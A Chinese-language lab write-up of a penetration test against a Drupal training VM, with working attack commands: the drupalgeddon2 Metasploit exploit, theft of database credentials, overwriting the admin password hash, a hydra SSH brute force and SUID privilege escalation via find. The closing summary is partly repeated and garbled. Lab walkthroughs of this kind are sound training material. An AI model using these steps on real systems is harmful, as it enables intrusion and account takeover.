实战项目 1 Linux-Drupal靶场渗透测试案例详解
1). 实验目的:
完成靶场 1 渗透测试所有任务,获取最终“flag”。
2).实验思路:
(1)搭建实验环境;
(2)信息收集,在 kali 中发现靶机,通过测试发现漏洞;
(3) 利用漏洞渗透 web 网站,获取最终“flag”。
(4) 实验中的 kali 和靶机的网络 IP 参数请大家注意要根据自己的环境来定,切勿照搬。
3). 实验步骤:
1) 搭建实验环境
启动 kali 虚拟机,导入靶场 1 虚拟机。(具体步骤可参考实验手册-实验环境搭建)
2)发现目标网站
1、在 kali 虚拟机中使用命令 ifconfig,获取主机 ip 地址为 192.168.3.135(请根据自己环境进行扫描结果可能不同) :
2、使用 nmap -sP 192.168.100.0/24 命令扫描 192.168.100.0/24 网段主机 ip 地址,可发现目标网站 ip 地址为192.168.3.136;
3、使用 nmap -sS -A 192.168.3.136 命令扫描目标主机的端口,发现目标主机 80 端口处于 open 状态,运行 htttp 服务,操作系统为 Debian, 网站环境为 apache:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
3)漏洞发现
1、使用火狐浏览器访问目标 web 主机 80 端口,发现是一个 CMS,底部标有“Drupal":
2,通过了解,Drupal 是一款开源 CMS 内容管理系统,以 php 开发框架,用 msf 查看可使用的漏洞模块,运行 msfconsole,
进入 msf 工具,运行 search drupal, 查找相关漏洞模块:
4)漏洞利用
1、执行 use exploit/unix/webapp/drupal_drupalgeddon2 命令使用该模块;
2、进入模块后,执行 show options 显示出所有设置,其中 required 为 yes 的是需要配置的,此处 rhosts(目标 ip 地址)没有设置:
3、设置 rhosts 目标主机为 192.168.3.136,并执行 run 开始攻击:
4、如果成功就会拿到对方的 shell,输入 shell 命令得到命令窗口,执行Is发现 flag1,cat 查看 flag1 内容,提示我们需
要查看配置文件:
5.通过百度查找资料发现,drupal 的配置文件存放在 sites 目录中的 defaults 目录中,进入目录,查看配置文件 settings.php内容,发现 flag2,以及 mysql 的用户名和密码:
5) Sql 注入
1、通过翻译 flag2 内容得到提示,字典爆破不是获取访问权限的唯一方式,我们要用其他方式来获取权限
因为当前 shell 没有提示,所以我们使用 python 弹回一个新 shell,执行
python -c 'import pty;pty.spawn("/bin/sh")':
2、输入 mysql 账户名和密码进入数据库,执行 mysql -u dbuser -p, 输入密码:
3、执行命令“ mysql> show databases; “列出所有数据库,执行”mysql> use drupaldb;" 进入 drupaldb 数据库:
4、执行“mysql> show tables;" 列出当前数据库所有表,发现用户名表 users:
5、执行“mysql>select * from users;" 列出所有内容,发现用户名及密码 hash 值:
6、在 scripts 目录有 password-hash.sh 文件,可以用该文件生成自己的密码 hash 值替换数据库 hash,达到登陆后台的目的,这里我写的 123456(也可自行设置其他密码):
7、exit 退出 mysql,使用 php scripts/password-hash.sh 123456,生成 123456 的 hash 值:
8、再重新进入数据库用 123456 生成的 hash 值替代原来 admin 用户的密码,执行 update drupaldb.users set pass=‘ s s sDt4zQDXSVY81K1/WMYCW0PWG]pB3cw7A3DqW5hzX3Xr.Axut3.ue’ where name=‘admin’:
6) 提权
1、使用用户名 admin,密码 123456 登录网站:
2、在左上角 Dashboard 中找到 flag3 并打开:
3、从 flag3 中获取到信息“Special PERMS will help FIND the passwd- but you’ll need to -exec that command to work out how to get what’s in the shadow." 特殊的 perms 会帮助你找到通行证,但是你需要执行 -exec 这个命令才能弄清楚如何在 shadow 中得到什么。
根据上一步提示来获取 root 权限(SUID 提权),SUID 可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。
执行 cat /etc/passwd 发现一个用户 flag4:
- 我们可以运用 hydra 暴力破解工具对 flag4 这个用户进行 SSH 破解
hydra -l flag4 -P /usr/share/john/password.Ist 192.168.X.X ssh -vV //192.168.X.X 为靶机 IP, 下图绿色信息显示:
flag4 用户的密码是:orange
4、使用find命令查找有特殊权限suid的命令:find / -perm -4000
5、执行 find ./aaa -exec ‘/bin/sh’ ,使用 find 命令提权://aaa 可以是系统上存在的一个文件
6、进入/root 目录,列出文件,发现 thefinalflag.txt 文件,查看得到最终 flag。渗透测试结束。
靶场 1 渗透测试流程总结
- 搭建实验环境: 启动 Kali Linux 虚拟机,并导入靶场 1 虚拟机。
- 信息收集:
- 使用
ifconfig
命令获取 Kali Linux 主机的 IP 地址。 - 使用
nmap
扫描目标网络段,发现靶机的 IP 地址和开放端口信息。
- 使用
- 漏洞发现:
- 访问目标网站,发现其运行的是 Drupal CMS。
- 使用 Metasploit 框架搜索 Drupal 相关的漏洞模块,选择适合的漏洞利用模块(如 Drupalgeddon2)。
- 漏洞利用:
- 配置漏洞利用模块,并执行攻击,获取对靶机的 shell 访问权限。
- 浏览文件系统,查找配置文件和敏感信息,如数据库密码和其它 flag。
- 提权过程:
- 利用漏洞或者 SUID 权限提权,获取更高的系统访问权限。
- 利用发现的用户名和密码,例如通过 SSH 登录获得进一步的权限。
- 最终获取 flag:
模块,并执行攻击,获取对靶机的 shell 访问权限。- 浏览文件系统,查找配置文件和敏感信息,如数据库密码和其它 flag。
- 提权过程:
- 利用漏洞或者 SUID 权限提权,获取更高的系统访问权限。
- 利用发现的用户名和密码,例如通过 SSH 登录获得进一步的权限。
- 最终获取 flag:
-
浏览系统文件和特权目录,找到最终的 flag 文件,确认渗透测试的成功。
如需靶场联系,如有侵权请联系作者删除。
-